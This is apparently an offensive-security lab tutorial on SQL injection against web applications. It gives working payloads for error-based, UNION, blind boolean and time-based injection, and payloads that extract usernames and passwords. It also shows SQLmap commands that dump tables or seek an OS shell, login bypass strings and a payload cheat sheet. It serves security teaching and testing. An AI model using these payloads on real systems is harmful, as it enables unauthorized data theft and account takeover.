๐ฏ Lab Objectives
- Identify SQL injection points in GET/POST parameters and headers
- Exploit UNION-based injection to extract data from the database
- Use blind boolean injection to infer data one bit at a time
- Perform time-based blind injection when no output is visible
- Automate database extraction with SQLmap
- Bypass login forms using SQL injection
SQL Injection Theory
SQL injection occurs when user-supplied input is inserted directly into a SQL query without proper sanitisation. The attacker can break out of the intended query and inject their own SQL logic.
# Vulnerable PHP code example:
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = " . $id;
# Normal request:
GET /item.php?id=5
โ SELECT * FROM products WHERE id = 5
# Injected request:
GET /item.php?id=5 OR 1=1--
โ SELECT * FROM products WHERE id = 5 OR 1=1--
โ Returns ALL rows (1=1 is always true, -- comments out the rest)
Step 1 โ Detecting SQL Injection
# Test with single quote โ causes SQL error if vulnerable
https://target.com/item.php?id=1'
https://target.com/item.php?id=1"
# Boolean tests
https://target.com/item.php?id=1 AND 1=1 # should return normal result
https://target.com/item.php?id=1 AND 1=2 # should return empty/error
# Time-based test (if no visible output)
https://target.com/item.php?id=1; SLEEP(5)--
https://target.com/item.php?id=1' AND SLEEP(5)--
# Comment styles by database:
# MySQL: -- or # or /**/
# MSSQL: -- or /**/
# Oracle: -- or /**/
# PostgreSQL: -- or /**/
Always URL-encode special characters when testing via browser:
' = %27, space = + or %20, # = %23. Use Burp Suite to avoid encoding issues.Step 2 โ Error-Based Injection
# Force a MySQL error that leaks version info
' AND extractvalue(1,concat(0x7e,version()))--
' AND updatexml(1,concat(0x7e,version()),1)--
# MSSQL error-based
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
Step 3 โ UNION-Based Injection
UNION allows you to append your own SELECT statement to the original query and see the output directly in the page.
# Step 1: Find number of columns in original query
' ORDER BY 1-- # works
' ORDER BY 2-- # works
' ORDER BY 3-- # error โ 2 columns
# Alternative: NULL method
' UNION SELECT NULL--
' UNION SELECT NULL,NULL-- # if this works โ 2 columns
' UNION SELECT NULL,NULL,NULL--
# Step 2: Find which column is displayed on the page
' UNION SELECT 'a',NULL--
' UNION SELECT NULL,'a'-- # if 'a' appears โ column 2 is displayed
Step 4 โ Extracting Database Data
# Get database version
' UNION SELECT NULL,version()-- # MySQL/PostgreSQL
' UNION SELECT NULL,@@version-- # MySQL/MSSQL
# Get current database name
' UNION SELECT NULL,database()-- # MySQL
' UNION SELECT NULL,db_name()-- # MSSQL
# List all databases
' UNION SELECT NULL,schema_name FROM information_schema.schemata--
# List tables in current database
' UNION SELECT NULL,table_name FROM information_schema.tables WHERE table_schema=database()--
# List columns in a table
' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users'--
# Dump users table
' UNION SELECT username,password FROM users--
# Concatenate multiple columns
' UNION SELECT NULL,concat(username,':',password) FROM users--
Step 5 โ Blind Boolean Injection
When the page shows no output but behaves differently based on true/false conditions.
# Confirm blind SQLi
' AND 1=1-- # page loads normally
' AND 1=2-- # page different/empty
# Extract data character by character
# Does the first char of the database name equal 'd'?
' AND SUBSTRING(database(),1,1)='d'--
# Is the ASCII value of the first char > 100?
' AND ASCII(SUBSTRING(database(),1,1))>100--
# Full password extraction (character 1 of first user's password)
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='p'--
Step 6 โ Time-Based Blind Injection
When there's no visible difference in response โ only response time reveals true/false.
# MySQL: SLEEP() if condition is true
' AND IF(1=1,SLEEP(5),0)-- # 5 second delay โ vulnerable
' AND IF(1=2,SLEEP(5),0)-- # no delay
# Extract data via time
' AND IF(SUBSTRING(database(),1,1)='d',SLEEP(5),0)--
# PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
# MSSQL
'; IF (1=1) WAITFOR DELAY '0:0:5'--
Step 7 โ SQLmap Automation
# Basic scan on GET parameter
sqlmap -u "http://target.com/item.php?id=1"
# With cookie-based auth
sqlmap -u "http://target.com/item.php?id=1" --cookie="session=abc123"
# POST request
sqlmap -u "http://target.com/login" --data="user=admin&pass=test"
# Specify database type
sqlmap -u "http://target.com/item.php?id=1" --dbms=mysql
# List databases
sqlmap -u "http://target.com/item.php?id=1" --dbs
# List tables in a database
sqlmap -u "http://target.com/item.php?id=1" -D targetdb --tables
# Dump a specific table
sqlmap -u "http://target.com/item.php?id=1" -D targetdb -T users --dump
# Try to get OS shell (if FILE privileges available)
sqlmap -u "http://target.com/item.php?id=1" --os-shell
# Use a Burp request file
sqlmap -r request.txt --level=5 --risk=3
Step 8 โ Login Bypass
# Classic OR bypass in username field
admin'--
' OR '1'='1
' OR 1=1--
admin' OR '1'='1'--
# Bypass with comment
admin'/*
' OR 1=1#
# The vulnerable query becomes:
SELECT * FROM users WHERE user='admin'--' AND pass='anything'
โ Password check is commented out โ logged in as admin
๐ SQL Injection Payload Reference
| Type | MySQL | MSSQL | PostgreSQL |
|---|---|---|---|
| Comment | -- or # | -- | -- |
| Version | version() | @@version | version() |
| Current DB | database() | db_name() | current_database() |
| Sleep | SLEEP(5) | WAITFOR DELAY '0:0:5' | pg_sleep(5) |
| Substring | SUBSTRING(str,1,1) | SUBSTRING(str,1,1) | SUBSTR(str,1,1) |
| Concat | concat(a,b) | a+b | a||b |
| Tables | information_schema.tables | information_schema.tables | information_schema.tables |
Lab Complete! You can now manually and automatically exploit SQL injection. Next: Cross-Site Scripting (XSS).